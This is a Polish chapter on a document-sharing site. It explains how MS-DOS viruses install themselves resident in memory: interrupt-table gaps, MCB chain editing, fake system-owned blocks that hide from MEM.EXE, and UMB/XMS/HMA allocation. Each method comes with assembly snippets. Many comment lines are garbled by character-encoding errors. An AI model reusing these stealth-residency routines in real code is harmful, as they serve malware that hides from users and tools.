Scrigroup - Documente si articole

     

HomeDocumenteUploadResurseAlte limbi doc
BulgaraCeha slovacaCroataEnglezaEstonaFinlandezaFranceza
GermanaItalianaLetonaLituanianaMaghiaraOlandezaPoloneza
SarbaSlovenaSpaniolaSuedezaTurcaUcraineana

AdministracjaBajkiBotanikaBudynekChemiaEdukacjaElektronikaFinanse
FizycznyGeografiaGospodarkaGramatykaHistoriaKomputerówKsiążekKultura
LiteraturaMarketinguMatematykaMedycynaOdżywianiePolitykaPrawaPrzepisy kulinarne
PsychologiaRóżnychRozrywkaSportowychTechnikaZarządzanie

Instalacja w pamięci operacyjnej

komputerów



+ Font mai mare | - Font mai mic



DOCUMENTE SIMILARE

Instalacja w pamięci operacyjnej

5.1. Instalacja w tablicy wektorów przerwań

W komputerze IBM na użytek przerwań przeznaczono 256*4=1024 bajtów znajdujących się na początku pamięci operacyjnej od adresu 0000:0000 do adresu 0000:0400 (tak sprawa ma się oczywiście w trybie rzeczywistym i V86 procesorów 80x86). Mimo to większość programów wykorzystuje tylko przerwania poniżej numeru 80h, tak więc w obszarze 0000:0200-0000:0400 pojawia się 512-bajtowa luka, w której można umieścić kod wirusa. Najczęściej obszar ten jest wykorzystywany przez wirusy bardzo krótkie, potrzebujące do swych celów małego obszaru pamięci operacyjnej,



5.2. Instalacja w obszarze zmiennych DOS

W obszarze pamięci od adresu 0000:0600 do adresu 0000:0700 znajduje się obszar wykorzystywany przy starcie systemu. Po załadowaniu obszar ten zawiera nieistotne dane systemu (w zasadzie nie używane), dzięki czemu jest to kolejna luka w pamięci systemu, w której można umieścić krótkiego (maksymalnie 256-bajtowego) wirusa.

5.3. Instalacja w pamięci poniżej 640kB i UMB

Zarządzając pamięcią operacyjną system DOS dzieli ją na połączone w łańcuch bloki, z których każdy rozpoczyna się tzw. nagłówkiem MCB (ang. Memory Control Błock). Każdy nagłówek zajmuje 16 bajtów i jest ulokowany zawsze na granicy paragrafu (16 bajtów), a zarządzany przezeń blok pamięci zaczyna się bezpośrednio po nim, także od granicy paragrafu.

Powyższy mechanizm stosowany jest zarówno dla pamięci niskiej (poniżej 640kB - LMB; ang. Low Memory Blocks), jak i dla pamięci wysokiej (powyżej 640kB - UMB; ang. Upper Memory Blocks). Format bloku MCB pokazano w poniższej tabeli.

Format MCB

Adres

Zawartość

Znacznik bloku; znak 'M' oznacza, iż jest to blok pośredni, zaś Z oznacza ostatni blok w łańcuchu

Adres (tylko segment; przesunięcie równe jest zeru) bloku PSP, będącego właścicielem MCB. Jeżeli w pole to wpiszemy wartość 0008, a więc segment niedostępny dla programów, segment zniknie z pamięci operacyjnej i będzie niewidoczny dla programów przeglądających pamięć (dokładniej: będzie widoczny, ale będzie traktowany jako integralna część systemu)

Rozmiar bloku w 16-bajtowych paragrafach

Zarezerwowane dla systemu

08-0F

8-bajtowe pole, wykorzystywane dopiero w wersjach 5.0 DOS i wyższych. Zawiera ono początek nazwy pliku właściciela bloku MCB. Jeżeli wpiszemy w to pole 'SC' lub 'SD', to blok ten zostanie uznany za blok systemowy ('SC' to skrót od System Code. a SD od System Data)

Najstarsza i najbardziej rozpowszechniona metoda instalacji w pamięci operacyjnej polega na modyfikacji łańcucha bloków MCB. Najprościej jest znaleźć ostatni z bloków MCB i zmniejszyć jego rozmiar o długość potrzebną wirusowi. Adres pierwszego bloku MCB można znaleźć za pomocą funkcji (52/21). Po jej wywołaniu w rejestrach ES:BX znajdzie się adres tzw. listy list (LL). W komórce pod adresem ES:[BX-2] znajduje się informacja o adresie pierwszego nagłówka MCB. Po zdobyciu tego adresu należy, poruszając się po łańcuchu, znaleźć ostami z MCB i dokonać w nim zmian. Całość realizuje się za pomocą następującej sekwencji:

; Poszukiwanie ostatniego bloku w │a±cuchu mcb

MOV AH,52H ; funkcja DOS - weƒ adres do listy

; list (ll)

INT 21H ; wywo│aj funkcjΩ

MOV AX,ES:[BX-2] ; AX=adres segmentowy pierwszego MCB

NAST╩PNY:

MOV DS,AX ; ds wskazuje na sprawdzany blok MCB

CMP BYTE PTR DS:[0], Z ; czy ostatni blok ?

JE OSTATNI ; skocz, je£li tak

INC AX ; dodaj rozmiar MCB (16 bajt≤w=1 paragraf)

ADD AX, DS:[3] ; dodaj d│ugo£µ bloku zarz╣dzanego przez MCB

JMP SHORT NASTEPNY ; sprawdƒ nastΩpny blok

OSTATNI: ; ds wskazuje na ostatni blok

SUB DS:[3], ROZMIAR ; odejmij rozmiar wirusa (w paragrafach 16 bajtowych)

SUB DS:[12h], ROZMIAR ; warto tak┐e zmieniµ adres pamiΩci niedostΩpnej dla

;programu w PSP bie┐╣cego procesu

Do instalacji można wykorzystać także blok pamięci, który powstaje poprzez zmniejszenie bloku pamięci przydzielonego programowi. Dokonuje tego następująca sekwencja:

; Zmniejszenie bloku przydzielonego aktualnemu procesowi

MOV AH,62h ; funkcja DOS - weƒ adres PSP aktualnego procesu

INT 21h ; uruchom funkcjΩ DOS, BX zawiera adres PSP

DEC BX ; BX-1 zawiera adres MCB, bΩd╣cego w│a£cicielem bloku MOV DS,BX ; DS wskazuje na MCB

SUB DS:[3], ROZMIAR ; odejmij rozmiar wirusa (w paragrafach 16 bajtowych) SUB DS:[12h], ROZMIAR ; warto tak┐e zmieniµ adres pamiΩci niedostΩpnej dla

; programu w PSP bie┐╣cego procesu

Inny sposób polega na przydzieleniu sobie przez wirusa bloku pamięci przy użyciu (48/21) i modyfikacji MCB, będącego właścicielem przydzielonego bloku. Modyfikacja polega na wpisaniu w pole 01h-02h bloku MCB wartości 0008h, która oznacza, iż blok ten należy do systemu operacyjnego DOS. Zamiast wartości 0008h można wpisać dowolną wartość, która wskazuje na segment zawierający na pewno dane systemowe, na przykład liczbę z zakresu 0A000h-0B000h, wskazującą na segmenty zawierające pamięć ekranu. Dodatkowo w pole 08h-0Fh można wpisać łańcuch 'SC lub 'SD' [odpowiadające skrótom: kod systemu (ang. System Code) i dane systemu (ang. System Data)]. Tak zmodyfikowany blok MCB nie będzie widziany przez programy przeglądające pamięć (np. MEM.EXE). Powyższą metodę ilustruje następująca sekwencja:

; Tworzenie sztucznego bloku systemowego

MOV BX,ROZMIAR ; BX = rozmiar ┐╣danej pamiΩci

MOV AH,48h ; funkcja DOS - przydziel pamiΩµ

INT 21h ; wywo│aj funkcjΩ DOS

JC BLAD ; Je£li CF=1 to b│╣d, AX=segment pamiΩci

DEC AX ; AX-1=segment z nag│≤wkiem MCB (w│a£cicielem

; bloku amiΩci)

MOV DS,AX ; DS = segment MCB

MOV DS:[l],0008h ; zmie± MCB na systemowy

Kolejny sposób instalacji w pamięci polega na wykorzystaniu faktu, iż DOS oferuje programom możliwość zmieniania rozmiaru bloku pamięci przy użyciu (4A/21). Dzięki temu można powiększyć pewien blok wykorzystywany przez system lub programy rezydentne i w tak wygospodarowane miejsce skopiować wirusa. Nie trzeba w tym wypadku dokonywać żadnych ręcznych manipulacji na blokach MCB, gdyż wszystkie operacje wykona za nas system operacyjny. Należy pamiętać, iż aby DOS mógł powiększyć blok pamięci, blok ten musi sąsiadować z jakimś nie wykorzystanym przez żaden program fragmentem pamięci. Znaleziony blok najlepiej zabezpieczyć przed ewentualnym zwolnieniem, np. przez wpisanie w pole 03-04h wartości 0008h. Sekwencja realizująca to zadanie wygląda następująco:

; PowiΩkszenie jednego z blok≤w ju┐ u┐ytych

MOV AH,52H ; funkcja DOS - weƒ adres do listy list (LL)

INT 21H ; wywo│aj funkcjΩ DOS

MOV DX,ES:[BX-2] ; AX==adres segmentowy pierwszego MCB

NAST╩PNY:

mov es,dx ; DS wskazuje na sprawdzany blok mcb

mov cl, byte PTR ES:[O] ; zachowaj znacznik nag│≤wka MCB

MOV BX,ES:[3] ; pobierz rozmiar bloku

INC DX ; DOS wymaga adresu o l wiΩkszego od MCB

MOV ES,DX ; ES wskazuje na blok pamiΩci

ADD DX,BX ; dodaj d│ugo£µ bloku zarz╣dzanego przez MCB

ADD bx, rozmiar ; dodaj rozmiar wirusa (w paragrafach 16-bajtowych)

MOV AH,4Ah ; spr≤buj zmieniµ rozmiar bloku

INT 21h ; wywo│aj funkcjΩ DOS

JNC JESTBLOK ; je£li CFl, uda│o siΩ zmieniµ blok

CMP CL, Z ; czy ostatni blok ?

JNE NASTEPNY ; sprawdƒ nastΩpny blok

OSTATNI: ; nie uda│o siΩ powiΩkszyµ ┐adnego bloku

; czΩ£µ kodu wirusa, wykonuj╣ca

; siΩ, gdy nie znaleziono bloku

JESTBLOK:

; uda│o siΩ powiΩkszyµ blok, adres do niego jest w ES

Sposób obsługiwania pamięci przez DOS jest określany przez tzw. strategię przydziału pamięci, która standardowo nie używa bloków UMB, stąd powyższe sposoby zadziałają bez zarzutu dla pamięci poniżej 640kB. Aby zainstalować wirusa w pamięci UMB, trzeba wymusić jej używanie na równi z pamięcią niską. W tym celu należy przyłączyć łańcuch bloków MCB pamięci UMB do łańcucha bloków MCB, znajdujących się w pamięci niskiej, przy użyciu funkcji (5803/21). Całość takiej operacji realizuje się przy użyciu następującej sekwencji w asemblerze:

; Do│╣czanie pamiΩci UMB do │a±cucha UMB i zmiana strategii przydzia│u pamiΩci

MOV AX,5800h ; funkcja - pobierz aktualn╣ strategiΩ

INT 21h ; wywo│aj funkcjΩ DOS

PUSH AX ; zachowaj odczytane strategiΩ

MOV AX,5802h ; weƒ informacjΩ o do│╣czeniu pamiΩci UMB

INT 21h ; wywo│aj funkcjΩ DOS

PUSH AX ; zachowaj informacjΩ na stosie

MOV AX,5803h ; funkcja DOS - do│╣cz/od│╣cz bloki UMB do │a±cucha MCB MOV BX,1 ; podfunkcja - do│╣cz bloki

INT 21h ; wywo│aj funkcjΩ DOS

MOV AX,5801h ; funkcja DOS - ustaw now╣ strategiΩ pamiΩci

MOV BX,82h ; nowa strategia (UMB+ostatni spe│niaj╣cy warunek)

INT 21h ; wywo│aj funkcjΩ DOS

. ; operacje na blokach MCB (na ca│ym ich │a±cuchu)

POP BX ; weƒ pierwotn╣ informacjΩ o do│╣czeniu pamiΩci UMB

XOR BH,BH ; podfunkcja - do│╣cz bloki lub od│╣cz zale┐nie od BL MOV AX, 5803h ; funkcja DOS - do│╣cz/od│╣cz bloki UMB do │a±cucha mcb INT 21H ; wywo│aj funkcjΩ DOS

POP BX ; przywr≤µ pierwotn╣ strategiΩ

MOV AX,5801h ; funkcja DOS - ustaw now╣ strategiΩ pamiΩci wg BX

INT 21h ; wywo│aj funkcjΩ DOS

Dołączenie pamięci UMB do łańcucha MCB ma duże znaczenie, gdy poszukujemy ostatniego bloku w tym łańcuchu. Jeżeli system wykorzystuje pamięć UMB, a ta nie jest chwilowo podłączona do łańcucha MCB, zmiana ostatniego (w tym wypadku widzianego jako ostatni) bloku pamięci poniżej 640kB spowoduje odcięcie pamięci UMB, co w efekcie zmniejszy dostępną dla programów użytkowych pamięć i niechybnie pomoże wykryć intruza.

Innym sposobem na przydzielenie pamięci UMB wirusowi jest skorzystanie z mechanizmów zawartych w specyfikacji XMS, która umożliwia obsługę tej pamięci za pośrednictwem funkcji l0h i 11h. Są one dostępne przez bezpośrednie wywołanie procedury, której adres uzyskuje się po wywołaniu funkcji (4310/2F). Przydzielenie bloku UMB za pomocą funkcji XMS ilustruje poniższa sekwencja:

; Wykorzystanie mechanizm≤w XMS do przydzia│u bloku UMB

MOV AX,4300H ; funkcja - sprawdƒ, czy zainstalowany mened┐er XMS

INT 2Fh ; wywo│aj przerwanie multipleksowane

CMP AL,80h ; czy zainstalowany mened┐er XMS?

JNE NieMaXMS ; skocz, je£li nie jest zainstalowany

MOV AX,4310H ; funkcja - weƒ adres procedury

INT 2Fh ; wywo│aj przerwanie multipleksowane

MOV [PROCSEG],ES ; zachowaj adres procedury mened┐era XMS

MOV [PROCOFS],BX

MOV AH,10h ; funkcja XMS - przydziel pamiΩµ UMB

MOV DX,rozmiar ; podaj ilo£µ ┐╣danej pamiΩci w paragrafach

CALL [PROCSEG] ; wywo│aj procedurΩ mened┐era XMS

CMP AX,l ; je£li nie ma b│Ωdu, to AX-1

JNE BLAD ; skocz, Je£li AX<>1

; BX = adres przydzielonego bloku

5.4. Instalacja w pamięci HMA

Wykorzystując wewnętrzne funkcje systemu DOS można przydzielić sobie blok w pamięci HMA (ang. High Memory Area), znajdującej się powyżej l Mb, a możliwej do zaadresowania w trybie rzeczywistym (np. ES:SI gdzie ES=SI=FFFF wskazuje na adres 10FFEF=lMb+64K-16 bajtów). Pamięć ta jest najczęściej wykorzystywana przez DOS, aby zmniejszyć ilość pamięci konwencjonalnej, zajętej przez system (to, czy system wykorzystuje HMA, zależy od obecności polecenia DOS=HIGH w pliku CONFIG.SYS).

Do przydzielania pamięci HMA wykorzystuje się funkcje (4A01/4A02/2F) w postaci następującej sekwencji:

; Przydzia│ fragmentu pamiΩci HMA

MOV AX,4A01h ; funkcja - sprawdƒ ilo£µ wolnej HMA

INT 2Fh ; wywo│aj przerwanie multipleksowane BX = ilo£µ wolnej

; pamiΩci HMA w bajtach,

; ES:DI wskazuje na wolny obszar HMA

CMP BX, ROZMIAR ; czy jest odpowiednia ilo£µ pamiΩci

jb NieMaHMA ; je£li mniej, to nie przydzielaj

MOV AX, 4A02h ; funkcja - przydziel pamiΩµ HMA

MOV BX, ROZMIAR ; rozmiar ┐╣danej pamiΩci

INT 2Fh ; wywo│aj przerwanie multipleksowane

; BX = ilo£µ przydzielonej pamiΩci HMA w paragrafach

; ES:DI wskazuje na przydzielony obszar HMA

NieMaHMA:

Oprócz powyższego sposobu istnieje jeszcze inna możliwość przydziału pamięci HMA (ale tylko jako jednego bloku o długości 64kB-16 bajtów, o ile nie jest już zajęty). Należy skorzystać z mechanizmu oferowanego przez program obsługujący specyfikację XMS (najczęściej HIMEM.SYS), tak jak pokazano to w poniższym przykładzie:

; Przydziel ca│e pamiΩµ HMA programowi

MOV AX,4300h ; funkcja - sprawdƒ, czy zainstalowany mened┐er XMS

INT 2Fh ; wywo│aj przerwanie multipleksowane

CMP AL,80h ; czy zainstalowany mened┐er XMS ?

JNE NieMaXMS ; skocz, je£li nie jest zainstalowany

MOV AX,4310h ; funkcja - weƒ adres procedury

INT 2Fh wywo│aj przerwanie multipleksowane

MOV [PROCSEG],ES ; zachowaj adres procedury mened┐era XMS

MOV [PROCOFS],BX

MOV AH,l ; funkcja XMS - przydziel pamiΩµ HMA

MOV DX,ROZMIAR ; podaj ilo£µ ┐╣danej pamiΩci w bajtach

CALL [PROCSEG] ; wywo│aj procedurΩ mened┐era XMS

CMP AX, l ; je£li nie ma b│Ωdu, to AX=1

JNE BLAD ; skocz, je£li AX1

5.5. Nietypowe metody instalacji

5.5.1. Pamięć ekranu

Korzystając z tego, iż tryby pracy ekranu nie wykorzystują najczęściej całej przeznaczonej dla danego trybu przestrzeni adresowej, można użyć części pamięci ekranu, aby skopiować tam wirusa. Wykorzystuje się w tym celu najczęściej adresy w segmencie 0B000 lub 0B800 (zależnie od karty graficznej), pod którymi ulokowane są dane dla trybów tekstowych ekranu.

5.5.2. Bufory dyskowe DOS

Inną, dość nietypową metodę na instalację w systemie znalazł i wykorzystał twórca wirusa USSR.516. Wirus ten znajduje i alokuje sobie miejsce w jednym z buforów stosowanych przez DOS przy operacjach dyskowych. Dzięki temu, iż rezyduje w obszarach roboczych systemu, jest uznawany za jego część oraz, co istotne, nie zmniejsza długości pamięci dostępnej dla programów użytkownika.

Przejmowanie przerwań jest najczęściej stosowaną przez wirusy rezy-dentne metodą kontrolowania działania systemu. Jak wspomniano w poprzednim rozdziale, procesory 80x86 mogą obsługiwać do 256 przerwań, którymi zajmują się osobne procedury obsługi. Adresy tych procedur zawarte są w tablicy przerwań, która w trybie rzeczywistym zajmuje 1024 bajty pamięci i jest ulokowana w obszarze od adresu 0000:0000 do 0000:0400. Tablica ta zawiera 256 rekordów (każdy o długości 4 bajtów) w postaci ofset:segment. Adres procedury obsługi przerwania o numerze 0h zajmuje więc komórki 0000:0000 -0000: 003, do przerwania 1h komórki 0004:0007 itd. aż do przerwania 0FFh, zajmującego komórki 0000:03FC - 0000:03FF.



Politica de confidentialitate | Termeni si conditii de utilizare



DISTRIBUIE DOCUMENTUL

Comentarii


Vizualizari: 578
Importanta: rank

Comenteaza documentul:

Te rugam sa te autentifici sau sa iti faci cont pentru a putea comenta

Creaza cont nou

Termeni si conditii de utilizare | Contact
© SCRIGROUP 2024 . All rights reserved